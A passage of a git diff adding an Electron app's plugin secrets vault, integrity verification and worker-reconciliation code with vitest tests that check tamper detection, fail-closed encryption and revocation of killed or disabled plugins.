+    expect(installed).toMatchObject({ ok: true, pluginKey })
+    const lock = await readPluginLockfile(getUserPluginsDir(userDataPath))
+    expect(lock.plugins[pluginKey]?.source).toMatchObject({
+      kind: 'marketplace',
+      marketplace: { url: marketplaceUrl },
+      plugin: { url: pluginUrl }
+    })
+  })
+})
diff --git a/src/main/plugins/plugin-refresh-settlement.ts b/src/main/plugins/plugin-refresh-settlement.ts
new file mode 100644
index 000000000..47bc464d2
--- /dev/null
+++ b/src/main/plugins/plugin-refresh-settlement.ts
@@ -0,0 +1,11 @@
+export async function waitForPluginRefreshSettlement(
+  getCurrent: () => Promise<void>
+): Promise<void> {
+  while (true) {
+    const pending = getCurrent()
+    await pending.catch(() => undefined)
+    if (pending === getCurrent()) {
+      return
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-secrets-store.test.ts b/src/main/plugins/plugin-secrets-store.test.ts
new file mode 100644
index 000000000..b14bf9dd5
--- /dev/null
+++ b/src/main/plugins/plugin-secrets-store.test.ts
@@ -0,0 +1,117 @@
+import { mkdir, mkdtemp, readFile, rm, stat, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+const storageMocks = vi.hoisted(() => ({
+  available: true,
+  encryptString: vi.fn((value: string) => Buffer.from(`encrypted:${value}`, 'utf8')),
+  decryptString: vi.fn((value: Buffer) => {
+    const text = value.toString('utf8')
+    if (!text.startsWith('encrypted:')) {
+      throw new Error('wrong key or corrupt ciphertext')
+    }
+    return text.slice('encrypted:'.length)
+  })
+}))
+
+vi.mock('electron', () => ({
+  safeStorage: {
+    isEncryptionAvailable: () => storageMocks.available,
+    encryptString: storageMocks.encryptString,
+    decryptString: storageMocks.decryptString
+  }
+}))
+
+import { PluginSecretsStore } from './plugin-secrets-store'
+
+const roots: string[] = []
+
+async function tempRoot(): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), 'orca-plugin-secrets-'))
+  roots.push(root)
+  return root
+}
+
+beforeEach(() => {
+  storageMocks.available = true
+  storageMocks.encryptString.mockImplementation((value) =>
+    Buffer.from(`encrypted:${value}`, 'utf8')
+  )
+  storageMocks.decryptString.mockImplementation((value) => {
+    const text = value.toString('utf8')
+    if (!text.startsWith('encrypted:')) {
+      throw new Error('wrong key or corrupt ciphertext')
+    }
+    return text.slice('encrypted:'.length)
+  })
+})
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginSecretsStore', () => {
+  it('encrypts, persists, decrypts, deletes, and isolates plugin namespaces', async () => {
+    const root = await tempRoot()
+    const first = new PluginSecretsStore(root, 'acme.first')
+    const second = new PluginSecretsStore(root, 'acme.second')
+
+    expect(first.set('token', 'top-secret')).toEqual({ ok: true, value: true })
+    expect(first.get('token')).toEqual({ ok: true, value: 'top-secret' })
+    expect(second.get('token')).toEqual({ ok: true, value: null })
+    const persisted = await readFile(join(root, 'acme.first', 'secrets.json.enc'), 'utf8')
+    expect(persisted).not.toContain('top-secret')
+    if (process.platform !== 'win32') {
+      expect((await stat(join(root, 'acme.first', 'secrets.json.enc'))).mode & 0o077).toBe(0)
+    }
+
+    first.delete('token')
+    expect(first.get('token')).toEqual({ ok: true, value: null })
+  })
+
+  it('fails closed without OS encryption and writes no plaintext file', async () => {
+    const root = await tempRoot()
+    storageMocks.available = false
+    const store = new PluginSecretsStore(root, 'acme.demo')
+
+    expect(store.set('token', 'plaintext')).toMatchObject({ ok: false })
+    expect(store.get('token')).toMatchObject({ ok: true, value: null })
+    await expect(readFile(join(root, 'acme.demo', 'secrets.json.enc'))).rejects.toMatchObject({
+      code: 'ENOENT'
+    })
+  })
+
+  it('reports corrupt or wrong-key ciphertext without returning bytes', async () => {
+    const root = await tempRoot()
+    const pluginDir = join(root, 'acme.demo')
+    await mkdir(pluginDir, { recursive: true })
+    await writeFile(
+      join(pluginDir, 'secrets.json.enc'),
+      JSON.stringify({
+        version: 1,
+        format: 'electron-safe-storage-v1',
+        ciphertexts: { token: Buffer.from('not-encrypted').toString('base64') }
+      })
+    )
+    const store = new PluginSecretsStore(root, 'acme.demo')
+
+    expect(store.get('token')).toEqual({ ok: false, error: 'failed to decrypt stored secret' })
+  })
+
+  it('refuses ciphertext that would exceed the bounded vault', async () => {
+    const root = await tempRoot()
+    storageMocks.encryptString.mockReturnValue(Buffer.alloc(6 * 1024 * 1024))
+    const store = new PluginSecretsStore(root, 'acme.demo')
+
+    expect(store.set('token', 'small-input')).toMatchObject({ ok: false })
+    await expect(readFile(join(root, 'acme.demo', 'secrets.json.enc'))).rejects.toMatchObject({
+      code: 'ENOENT'
+    })
+  })
+
+  it('rejects unsafe plugin namespaces', async () => {
+    const root = await tempRoot()
+    expect(() => new PluginSecretsStore(root, 'constructor.demo')).toThrow('unsafe plugin key')
+  })
+})
diff --git a/src/main/plugins/plugin-secrets-store.ts b/src/main/plugins/plugin-secrets-store.ts
new file mode 100644
index 000000000..7f16821cf
--- /dev/null
+++ b/src/main/plugins/plugin-secrets-store.ts
@@ -0,0 +1,108 @@
+import { existsSync, readFileSync, statSync } from 'node:fs'
+import { join } from 'node:path'
+import { safeStorage } from 'electron'
+import { writeSecureFile } from '../../shared/secure-file'
+import {
+  PLUGIN_STORAGE_KEY_LIMIT,
+  PLUGIN_STORAGE_TOTAL_MAX_BYTES
+} from '../../shared/plugins/plugin-host-api'
+import { pluginDataDir } from './plugin-storage-store'
+
+/**
+ * Per-plugin secret vault, following the repo's safeStorage-backed
+ * credential-file pattern (versioned envelope + base64 ciphertext via the
+ * atomic secure-file writer). No plaintext fallback: when OS encryption is
+ * unavailable, writes fail loudly instead of silently downgrading — plugin
+ * secrets are API-token grade.
+ */
+
+type PersistedSecretsFile = {
+  version: 1
+  format: 'electron-safe-storage-v1'
+  /** key → base64 ciphertext of the secret value. */
+  ciphertexts: Record<string, string>
+}
+
+export type PluginSecretsResult<T> = { ok: true; value: T } | { ok: false; error: string }
+
+export class PluginSecretsStore {
+  private readonly filePath: string
+
+  constructor(pluginsDataDir: string, qualifiedKey: string) {
+    this.filePath = join(pluginDataDir(pluginsDataDir, qualifiedKey), 'secrets.json.enc')
+  }
+
+  private read(): PersistedSecretsFile {
+    const empty: PersistedSecretsFile = {
+      version: 1,
+      format: 'electron-safe-storage-v1',
+      ciphertexts: {}
+    }
+    try {
+      if (!existsSync(this.filePath)) {
+        return empty
+      }
+      if (statSync(this.filePath).size > PLUGIN_STORAGE_TOTAL_MAX_BYTES) {
+        return empty
+      }
+      const parsed = JSON.parse(readFileSync(this.filePath, 'utf8')) as PersistedSecretsFile
+      if (
+        parsed &&
+        parsed.version === 1 &&
+        parsed.format === 'electron-safe-storage-v1' &&
+        parsed.ciphertexts &&
+        typeof parsed.ciphertexts === 'object' &&
+        !Array.isArray(parsed.ciphertexts)
+      ) {
+        return parsed
+      }
+    } catch {
+      // Corrupt vaults read as empty; set() rewrites a valid file.
+    }
+    return empty
+  }
+
+  get(key: string): PluginSecretsResult<string | null> {
+    const file = this.read()
+    const ciphertext = file.ciphertexts[key]
+    if (typeof ciphertext !== 'string') {
+      return { ok: true, value: null }
+    }
+    if (!safeStorage.isEncryptionAvailable()) {
+      return { ok: false, error: 'OS-backed encryption is unavailable' }
+    }
+    try {
+      return { ok: true, value: safeStorage.decryptString(Buffer.from(ciphertext, 'base64')) }
+    } catch {
+      return { ok: false, error: 'failed to decrypt stored secret' }
+    }
+  }
+
+  set(key: string, value: string): PluginSecretsResult<true> {
+    if (!safeStorage.isEncryptionAvailable()) {
+      return { ok: false, error: 'OS-backed encryption is unavailable; secret not stored' }
+    }
+    const file = this.read()
+    if (
+      !Object.hasOwn(file.ciphertexts, key) &&
+      Object.keys(file.ciphertexts).length >= PLUGIN_STORAGE_KEY_LIMIT
+    ) {
+      return { ok: false, error: `secret vault exceeds the ${PLUGIN_STORAGE_KEY_LIMIT}-key limit` }
+    }
+    file.ciphertexts[key] = safeStorage.encryptString(value).toString('base64')
+    const nextFile = JSON.stringify(file, null, 2)
+    if (Buffer.byteLength(nextFile, 'utf8') > PLUGIN_STORAGE_TOTAL_MAX_BYTES) {
+      return { ok: false, error: `secret vault exceeds ${PLUGIN_STORAGE_TOTAL_MAX_BYTES} bytes` }
+    }
+    writeSecureFile(this.filePath, nextFile)
+    return { ok: true, value: true }
+  }
+
+  delete(key: string): void {
+    const file = this.read()
+    if (Object.hasOwn(file.ciphertexts, key)) {
+      delete file.ciphertexts[key]
+      writeSecureFile(this.filePath, JSON.stringify(file, null, 2))
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-service-housekeeping.ts b/src/main/plugins/plugin-service-housekeeping.ts
new file mode 100644
index 000000000..fb1032bac
--- /dev/null
+++ b/src/main/plugins/plugin-service-housekeeping.ts
@@ -0,0 +1,47 @@
+import { PluginDevWatcher } from './plugin-dev-watcher'
+
+/** Starts and stops lifecycle maintenance as the feature flag and dev paths change. */
+export class PluginServiceHousekeeping {
+  private readonly devWatcher = new PluginDevWatcher()
+  private reapTimer: ReturnType<typeof setInterval> | null = null
+  private watchedPathsKey: string | null = null
+
+  sync(options: {
+    enabled: boolean
+    devPaths: readonly string[]
+    reapIdle: () => void
+    refresh: () => void
+  }): void {
+    if (!options.enabled) {
+      this.stop()
+      return
+    }
+    if (!this.reapTimer) {
+      this.reapTimer = setInterval(options.reapIdle, 60_000)
+      this.reapTimer.unref?.()
+    }
+    const pathsKey = JSON.stringify(options.devPaths)
+    if (pathsKey !== this.watchedPathsKey) {
+      this.devWatcher.dispose()
+      this.devWatcher.start(options.devPaths, options.refresh, () => {
+        // The next refresh retries a failed watcher even when the configured
+        // path list itself did not change.
+        this.watchedPathsKey = null
+      })
+      this.watchedPathsKey = pathsKey
+    }
+  }
+
+  dispose(): void {
+    this.stop()
+  }
+
+  private stop(): void {
+    if (this.reapTimer) {
+      clearInterval(this.reapTimer)
+      this.reapTimer = null
+    }
+    this.devWatcher.dispose()
+    this.watchedPathsKey = null
+  }
+}
diff --git a/src/main/plugins/plugin-service-integrity.test.ts b/src/main/plugins/plugin-service-integrity.test.ts
new file mode 100644
index 000000000..56a344eb3
--- /dev/null
+++ b/src/main/plugins/plugin-service-integrity.test.ts
@@ -0,0 +1,125 @@
+import { mkdtemp, mkdir, rename, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { basename, join } from 'node:path'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
+import { pluginManifestSchema, type PluginManifest } from '../../shared/plugins/plugin-manifest'
+import { hashPluginTree } from './plugin-content-hash'
+import { PluginContentVerifier } from './plugin-content-integrity'
+import { PluginService } from './plugin-service'
+import type { PluginWorkerFactory } from './plugin-worker-manager'
+
+const roots: string[] = []
+
+async function createInstalledPlugin(options: { worker: boolean }): Promise<{
+  userDataPath: string
+  pluginKey: string
+  rootDir: string
+  manifest: PluginManifest
+}> {
+  const userDataPath = await mkdtemp(join(tmpdir(), 'orca-plugin-service-integrity-'))
+  roots.push(userDataPath)
+  const pluginKey = 'orca-samples.demo'
+  const pluginDir = join(userDataPath, 'plugins', pluginKey)
+  const stagingDir = join(pluginDir, 'staging')
+  await mkdir(stagingDir, { recursive: true })
+  const manifest = pluginManifestSchema.parse({
+    manifestVersion: 1,
+    id: 'demo',
+    publisher: 'orca-samples',
+    name: 'Demo',
+    version: '1.0.0',
+    engines: { orca: '>=1.0.0' },
+    pluginApi: 1,
+    ...(options.worker ? { main: 'worker.js' } : {}),
+    contributes: {
+      panels: [{ id: 'panel', title: 'Panel', entry: 'panel.html' }],
+      commands: options.worker ? [{ id: 'run', title: 'Run' }] : [],
+      events: []
+    },
+    capabilities: []
+  })
+  await writeFile(join(stagingDir, 'orca-plugin.json'), JSON.stringify(manifest))
+  await writeFile(join(stagingDir, 'panel.html'), '<h1>Panel</h1>')
+  await writeFile(join(stagingDir, 'payload.txt'), 'original')
+  if (options.worker) {
+    await writeFile(join(stagingDir, 'worker.js'), 'export default async function () {}')
+  }
+  const content = await hashPluginTree(stagingDir)
+  if (!content.ok) {
+    throw new Error(content.error)
+  }
+  const rootDir = join(pluginDir, content.hash)
+  await rename(stagingDir, rootDir)
+  await writeFile(join(pluginDir, 'current'), content.hash)
+  return { userDataPath, pluginKey, rootDir, manifest }
+}
+
+function createService(
+  plugin: Awaited<ReturnType<typeof createInstalledPlugin>>,
+  workerFactory?: PluginWorkerFactory
+): PluginService {
+  const consentFingerprint = fingerprintPluginConsent(plugin.manifest)
+  return new PluginService({
+    userDataPath: plugin.userDataPath,
+    hostVersion: '1.4.0',
+    isPluginSystemEnabled: () => true,
+    getDisabledPlugins: () => [],
+    getPluginConsents: () => ({ [plugin.pluginKey]: consentFingerprint }),
+    getDevPluginPaths: () => [],
+    workerFactory
+  })
+}
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginService lazy content verification', () => {
+  it('does not share an in-flight verification across same-key content revisions', async () => {
+    const oldPlugin = await createInstalledPlugin({ worker: false })
+    const newPlugin = await createInstalledPlugin({ worker: false })
+    await writeFile(join(oldPlugin.rootDir, 'payload.txt'), 'tampered old revision')
+    const verifier = new PluginContentVerifier()
+
+    const oldVerification = verifier.verify({
+      pluginKey: oldPlugin.pluginKey,
+      rootDir: oldPlugin.rootDir,
+      contentHash: basename(oldPlugin.rootDir)
+    })
+    const newVerification = verifier.verify({
+      pluginKey: newPlugin.pluginKey,
+      rootDir: newPlugin.rootDir,
+      contentHash: basename(newPlugin.rootDir)
+    })
+
+    await expect(oldVerification).rejects.toThrow('integrity verification')
+    await expect(newVerification).resolves.toBeUndefined()
+  })
+
+  it('detects tampering only when panel code is first consumed', async () => {
+    const plugin = await createInstalledPlugin({ worker: false })
+    const service = createService(plugin)
+    await service.initialize()
+    expect(service.findValidPlugin(plugin.pluginKey)).not.toBeNull()
+
+    await writeFile(join(plugin.rootDir, 'payload.txt'), 'tampered after discovery')
+
+    await expect(service.panels.readEntry(plugin.pluginKey, 'panel')).resolves.toBeNull()
+    await service.dispose()
+  })
+
+  it('blocks a worker fork when installed content changed after discovery', async () => {
+    const plugin = await createInstalledPlugin({ worker: true })
+    const workerFactory = vi.fn<PluginWorkerFactory>()
+    const service = createService(plugin, workerFactory)
+    await service.initialize()
+    await writeFile(join(plugin.rootDir, 'payload.txt'), 'tampered after discovery')
+
+    await expect(service.invokeCommand(plugin.pluginKey, 'run')).rejects.toThrow(
+      'integrity verification'
+    )
+    expect(workerFactory).not.toHaveBeenCalled()
+    await service.dispose()
+  })
+})
diff --git a/src/main/plugins/plugin-service-options.ts b/src/main/plugins/plugin-service-options.ts
new file mode 100644
index 000000000..f6df4ba8e
--- /dev/null
+++ b/src/main/plugins/plugin-service-options.ts
@@ -0,0 +1,18 @@
+import type { PluginWorkerFactory } from './plugin-worker-manager'
+import type { KeybindingOverrides } from '../../shared/keybindings'
+import type { PluginKillListEntry } from '../../shared/plugins/plugin-kill-list'
+
+export type PluginServiceOptions = {
+  userDataPath: string
+  hostVersion: string
+  isPluginSystemEnabled: () => boolean
+  getDisabledPlugins: () => string[]
+  getPluginConsents: () => Record<string, string>
+  getDevPluginPaths: () => string[]
+  getKeybindings?: () => KeybindingOverrides
+  getPluginKillListEntry?: (pluginKey: string) => PluginKillListEntry | null
+  hostEntryPath?: string
+  workerFactory?: PluginWorkerFactory
+  maxActiveWorkers?: number
+  idleReapMs?: number
+}
diff --git a/src/main/plugins/plugin-service-reconciliation.test.ts b/src/main/plugins/plugin-service-reconciliation.test.ts
new file mode 100644
index 000000000..eb373d654
--- /dev/null
+++ b/src/main/plugins/plugin-service-reconciliation.test.ts
@@ -0,0 +1,462 @@
+import { mkdtemp, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { KeybindingOverrides } from '../../shared/keybindings'
+import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
+import { pluginManifestSchema, type PluginManifest } from '../../shared/plugins/plugin-manifest'
+import type { PluginWorkerHandle } from './plugin-host-process'
+import { PluginService } from './plugin-service'
+import type { PluginWorkerFactory } from './plugin-worker-manager'
+import { hashPluginTree } from './plugin-content-hash'
+
+const roots: string[] = []
+const services: PluginService[] = []
+const pluginKey = 'orca-samples.demo'
+
+function manifest(options: { main?: string; capabilities?: PluginManifest['capabilities'] } = {}) {
+  return pluginManifestSchema.parse({
+    manifestVersion: 1,
+    id: 'demo',
+    publisher: 'orca-samples',
+    name: 'Demo',
+    version: '1.0.0',
+    engines: { orca: '>=1.0.0' },
+    pluginApi: 1,
+    main: options.main ?? 'worker.js',
+    contributes: {
+      panels: [{ id: 'panel', title: 'Panel', entry: 'panel.html' }],
+      commands: [{ id: 'run', title: 'Run' }],
+      events: []
+    },
+    capabilities: options.capabilities ?? []
+  })
+}
+
+async function pluginRoot(pluginManifest = manifest()): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), 'orca-plugin-reconcile-'))
+  roots.push(root)
+  await writeFile(join(root, 'orca-plugin.json'), JSON.stringify(pluginManifest))
+  await writeFile(join(root, 'worker.js'), 'export default async function () {}')
+  await writeFile(join(root, 'worker-v2.js'), 'export default async function () {}')
+  await writeFile(join(root, 'panel.html'), '<h1>Panel</h1>')
+  return root
+}
+
+function testWorker(): PluginWorkerHandle & { dispose: ReturnType<typeof vi.fn> } {
+  return {
+    commands: ['run'],
+    invokeCommand: vi.fn(async () => null),
+    deliverEvent: vi.fn(),
+    lastActivityAt: () => Date.now(),
+    inFlightCount: () => 0,
+    dispose: vi.fn(async () => undefined),
+    kill: vi.fn(),
+    onExit: vi.fn()
+  }
+}
+
+function createHarness(root: string) {
+  let enabled = true
+  let disabled: string[] = []
+  let devPaths = [root]
+  let killed = false
+  const consent = fingerprintPluginConsent(manifest())
+  const workers: ReturnType<typeof testWorker>[] = []
+  const factory = vi.fn<PluginWorkerFactory>(async () => {
+    const handle = testWorker()
+    workers.push(handle)
+    return handle
+  })
+  const service = new PluginService({
+    userDataPath: root,
+    hostVersion: '1.4.0',
+    isPluginSystemEnabled: () => enabled,
+    getDisabledPlugins: () => disabled,
+    getPluginConsents: () => ({ [pluginKey]: consent }),
+    getDevPluginPaths: () => devPaths,
+    getPluginKillListEntry: (key) =>
+      killed && key === pluginKey
+        ? { pluginKey, reason: 'Security incident', advisoryUrl: 'https://orca.example/advisory' }
+        : null,
+    workerFactory: factory
+  })
+  services.push(service)
+  return {
+    service,
+    factory,
+    workers,
+    setEnabled: (value: boolean) => {
+      enabled = value
+    },
+    setDisabled: (value: string[]) => {
+      disabled = value
+    },
+    setDevPaths: (value: string[]) => {
+      devPaths = value
+    },
+    setKilled: (value: boolean) => {
+      killed = value
+    }
+  }
+}
+
+async function activate(service: PluginService): Promise<void> {
+  await service.initialize()
+  await service.invokeCommand(pluginKey, 'run')
+}
+
+afterEach(async () => {
+  vi.useRealTimers()
+  await Promise.all(services.splice(0).map((service) => service.dispose()))
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginService worker reconciliation', () => {
+  it('blocks every runtime surface until a saved override resolves a content conflict', async () => {
+    const conflictingManifest = (id: string): PluginManifest =>
+      pluginManifestSchema.parse({
+        manifestVersion: 1,
+        id,
+        publisher: 'orca-samples',
+        name: id,
+        version: '1.0.0',
+        engines: { orca: '>=1.0.0' },
+        pluginApi: 1,
+        main: 'worker.js',
+        contributes: {
+          panels: [{ id: 'panel', title: 'Panel', entry: 'panel.html' }],
+          commands: [{ id: 'run', title: 'Run' }],
+          keybindings: [{ command: 'run', key: 'Mod+Alt+T' }],
+          events: [{ on: 'worktree.created' }]
+        },
+        capabilities: [{ kind: 'events:subscribe' }]
+      })
+    const firstManifest = conflictingManifest('first')
+    const secondManifest = conflictingManifest('second')
+    const firstRoot = await pluginRoot(firstManifest)
+    const secondRoot = await pluginRoot(secondManifest)
+    const firstHash = await hashPluginTree(firstRoot)
+    const secondHash = await hashPluginTree(secondRoot)
+    if (!firstHash.ok || !secondHash.ok) {
+      throw new Error('could not hash conflict fixtures')
+    }
+    let keybindings: KeybindingOverrides = {}
+    const factory = vi.fn<PluginWorkerFactory>(async () => testWorker())
+    const service = new PluginService({
+      userDataPath: firstRoot,
+      hostVersion: '1.4.0',
+      isPluginSystemEnabled: () => true,
+      getDisabledPlugins: () => [],
+      getPluginConsents: () => ({
+        'orca-samples.first': fingerprintPluginConsent(firstManifest, firstHash.hash),
+        'orca-samples.second': fingerprintPluginConsent(secondManifest, secondHash.hash)
+      }),
+      getDevPluginPaths: () => [firstRoot, secondRoot],
+      getKeybindings: () => keybindings,
+      workerFactory: factory
+    })
+    services.push(service)
+
+    await service.initialize()
+
+    expect(service.activationError('orca-samples.first')).toContain('conflicts')
+    expect(service.getGrantedCapabilities('orca-samples.first')).toBeNull()
+    await expect(service.invokeCommand('orca-samples.first', 'run')).rejects.toThrow('not enabled')
+    await expect(service.panels.readEntry('orca-samples.first', 'panel')).resolves.toBeNull()
+    service.emitEvent('worktree.created', {
+      worktreeId: 'worktree-1',
+      path: '/repo',
+      branch: 'feature'
+    })
+    await new Promise((resolve) => setTimeout(resolve, 0))
+    expect(factory).not.toHaveBeenCalled()
+
+    keybindings = { 'plugin:orca-samples.first/run': ['Mod+Shift+T'] }
+    await service.reconcileActivationState()
+
+    expect(service.activationError('orca-samples.first')).toBeNull()
+    await expect(service.panels.readEntry('orca-samples.first', 'panel')).resolves.toMatchObject({
+      html: expect.stringContaining('<h1>Panel</h1>')
+    })
+    await expect(service.invokeCommand('orca-samples.first', 'run')).resolves.toBeNull()
+    expect(factory).toHaveBeenCalledOnce()
+  })
+
+  it('rejects declarative aliases at the worker-command boundary without activating code', async () => {
+    const aliasManifest = pluginManifestSchema.parse({
+      manifestVersion: 1,
+      id: 'demo',
+      publisher: 'orca-samples',
+      name: 'Demo',
+      version: '1.0.0',
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      contributes: {
+        commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }]
+      },
+      capabilities: []
+    })
+    const root = await pluginRoot(aliasManifest)
+    const factory = vi.fn<PluginWorkerFactory>()
+    const service = new PluginService({
+      userDataPath: root,
+      hostVersion: '1.4.0',
+      isPluginSystemEnabled: () => true,
+      getDisabledPlugins: () => [],
+      getPluginConsents: () => ({ [pluginKey]: fingerprintPluginConsent(aliasManifest) }),
+      getDevPluginPaths: () => [root],
+      workerFactory: factory
+    })
+    services.push(service)
+
+    await service.initialize()
+
+    await expect(service.invokeCommand(pluginKey, 'tasks')).rejects.toThrow(
+      'is a built-in action alias'
+    )
+    expect(factory).not.toHaveBeenCalled()
+  })
+
+  it('denies every authority boundary immediately when the feature flag turns off', async () => {
+    const root = await pluginRoot()
+    const harness = createHarness(root)
+    await activate(harness.service)
+    const plugin = harness.service.findValidPlugin(pluginKey)!
+    const opened = await harness.service.panels.open('renderer:1', pluginKey, 'panel')
+    expect(opened).not.toBeNull()
+
+    harness.setEnabled(false)
+
+    expect(harness.service.activationState(plugin)).toBe('disabled')
+    expect(harness.service.getGrantedCapabilities(pluginKey)).toBeNull()
+    await expect(harness.service.invokeCommand(pluginKey, 'run')).rejects.toThrow('not enabled')
+    await expect(harness.service.panels.readEntry(pluginKey, 'panel')).resolves.toBeNull()
+
+    await harness.service.refresh()
+    expect(harness.workers[0]!.dispose).toHaveBeenCalledOnce()
+    harness.setEnabled(true)
+    await harness.service.refresh()
+    await expect(
+      harness.service.panels.execute('renderer:1', {
+        sessionToken: opened!.sessionToken,
+        action: 'notifications.show',
+        params: { title: 'stale' }
+      })
+    ).resolves.toMatchObject({ ok: false, error: 'invalid panel session' })
+  })
+
+  it('deactivates a worker when its plugin becomes disabled', async () => {
+    const root = await pluginRoot()
+    const harness = createHarness(root)
+    await activate(harness.service)
+
+    harness.setDisabled([pluginKey])
+    await harness.service.refresh()
+
+    expect(harness.workers[0]!.dispose).toHaveBeenCalledOnce()
+    expect(harness.service.workerState(pluginKey).state).toBe('inactive')
+  })
+
+  it('immediately revokes every authority surface and stops a killed plugin', async () => {
+    const root = await pluginRoot()
+    const harness = createHarness(root)
+    await activate(harness.service)
+    expect(await harness.service.panels.open('renderer:1', pluginKey, 'panel')).not.toBeNull()
+
+    harness.setKilled(true)
+
+    expect(harness.service.getGrantedCapabilities(pluginKey)).toBeNull()
+    expect(harness.service.activationError(pluginKey)).toContain('Security incident')
+    await expect(harness.service.invokeCommand(pluginKey, 'run')).rejects.toThrow('not enabled')
+    await expect(harness.service.panels.readEntry(pluginKey, 'panel')).resolves.toBeNull()
+    harness.service.emitEvent('worktree.created', {
+      worktreeId: 'worktree-1',
+      path: '/repo',
+      branch: 'feature'
+    })
+    await harness.service.reconcileActivationState()
+
+    expect(harness.workers[0]!.dispose).toHaveBeenCalledOnce()
+    expect(harness.service.options.getPluginKillListEntry?.(pluginKey)).toMatchObject({
+      reason: 'Security incident'
+    })
+  })
+
+  it('deactivates a worker when changed capabilities make consent pending', async () => {
+    const root = await pluginRoot()
+    const harness = createHarness(root)
+    await activate(harness.service)
+    await writeFile(
+      join(root, 'orca-plugin.json'),
+      JSON.stringify(manifest({ capabilities: [{ kind: 'storage' }] }))
+    )
+
+    await harness.service.refresh()
+
+    expect(harness.workers[0]!.dispose).toHaveBeenCalledOnce()
+    expect(harness.service.activationState(harness.service.findValidPlugin(pluginKey)!)).toBe(
+      'pending'
+    )
+  })
+
+  it('cancels the old generation when a worker spec changes without eager reactivation', async () => {
+    const root = await pluginRoot()
+    const harness = createHarness(root)
+    await activate(harness.service)
+    await writeFile(
+      join(root, 'orca-plugin.json'),
+      JSON.stringify(manifest({ main: 'worker-v2.js' }))
+    )
+
+    await harness.service.refresh()
+
+    expect(harness.workers[0]!.dispose).toHaveBeenCalledOnce()
+    expect(harness.factory).toHaveBeenCalledTimes(1)
+    await harness.service.invokeCommand(pluginKey, 'run')
+    expect(harness.factory).toHaveBeenCalledTimes(2)
+    expect(harness.factory.mock.calls[1]?.[0].mainEntry).toBe('worker-v2.js')
+  })
+
+  it('cannot reactivate the old revision while refresh awaits worker shutdown', async () => {
+    const root = await pluginRoot()
+    let finishOldDispose!: () => void
+    const oldDispose = new Promise<void>((resolve) => {
+      finishOldDispose = resolve
+    })
+    const workers: ReturnType<typeof testWorker>[] = []
+    const factory = vi.fn<PluginWorkerFactory>(async () => {
+      const handle = testWorker()
+      if (workers.length === 0) {
+        handle.dispose.mockImplementation(() => oldDispose)
+      }
+      workers.push(handle)
+      return handle
+    })
+    const consent = fingerprintPluginConsent(manifest())
+    const service = new PluginService({
+      userDataPath: root,
+      hostVersion: '1.4.0',
+      isPluginSystemEnabled: () => true,
+      getDisabledPlugins: () => [],
+      getPluginConsents: () => ({ [pluginKey]: consent }),
+      getDevPluginPaths: () => [root],
+      workerFactory: factory
+    })
+    services.push(service)
+    await activate(service)
+    await writeFile(
+      join(root, 'orca-plugin.json'),
+      JSON.stringify(manifest({ main: 'worker-v2.js' }))
+    )
+
+    const refreshing = service.refresh()
+    await vi.waitFor(() => expect(workers[0]!.dispose).toHaveBeenCalledOnce())
+    const invoking = service.invokeCommand(pluginKey, 'run')
+    await vi.waitFor(() => expect(factory).toHaveBeenCalledTimes(2))
+    expect(factory.mock.calls[1]?.[0].mainEntry).toBe('worker-v2.js')
+    finishOldDispose()
+
+    await expect(invoking).resolves.toBeNull()
+    await refreshing
+  })
+
+  it('deactivates removed and replaced dev paths without eager activation', async () => {
+    const firstRoot = await pluginRoot()
+    const secondRoot = await pluginRoot()
+    const harness = createHarness(firstRoot)
+    await activate(harness.service)
+
+    harness.setDevPaths([])
+    await harness.service.refresh()
+    expect(harness.workers[0]!.dispose).toHaveBeenCalledOnce()
+    expect(harness.service.findValidPlugin(pluginKey)).toBeNull()
+
+    harness.setDevPaths([secondRoot])
+    await harness.service.refresh()
+    expect(harness.factory).toHaveBeenCalledTimes(1)
+    await harness.service.invokeCommand(pluginKey, 'run')
+    expect(harness.factory.mock.calls[1]?.[0].rootDir).toBe(secondRoot)
+  })
+
+  it('starts and stops housekeeping on feature-flag transitions', async () => {
+    vi.useFakeTimers()
+    const root = await pluginRoot()
+    const harness = createHarness(root)
+    await harness.service.initialize()
+    expect(vi.getTimerCount()).toBe(1)
+
+    harness.setEnabled(false)
+    await harness.service.refresh()
+    expect(vi.getTimerCount()).toBe(0)
+    expect(harness.service.getDiscovered()).toEqual([])
+
+    harness.setEnabled(true)
+    await harness.service.refresh()
+    expect(vi.getTimerCount()).toBe(1)
+    expect(harness.factory).not.toHaveBeenCalled()
+  })
+
+  it('serializes activation reconciliation so the latest disabled state wins', async () => {
+    const root = await pluginRoot()
+    const harness = createHarness(root)
+    await harness.service.initialize()
+
+    const originalReconcile = harness.service.contentPacks.reconcile.bind(
+      harness.service.contentPacks
+    )
+    let releaseFirst!: () => void
+    const firstGate = new Promise<void>((resolve) => {
+      releaseFirst = resolve
+    })
+    let firstStarted!: () => void
+    const firstStartedPromise = new Promise<void>((resolve) => {
+      firstStarted = resolve
+    })
+    let activeReconciliations = 0
+    let maximumConcurrentReconciliations = 0
+    let callCount = 0
+    const reconcile = vi
+      .spyOn(harness.service.contentPacks, 'reconcile')
+      .mockImplementation(async (...args) => {
+        callCount += 1
+        activeReconciliations += 1
+        maximumConcurrentReconciliations = Math.max(
+          maximumConcurrentReconciliations,
+          activeReconciliations
+        )
+        try {
+          if (callCount === 1) {
+            firstStarted()
+            await firstGate
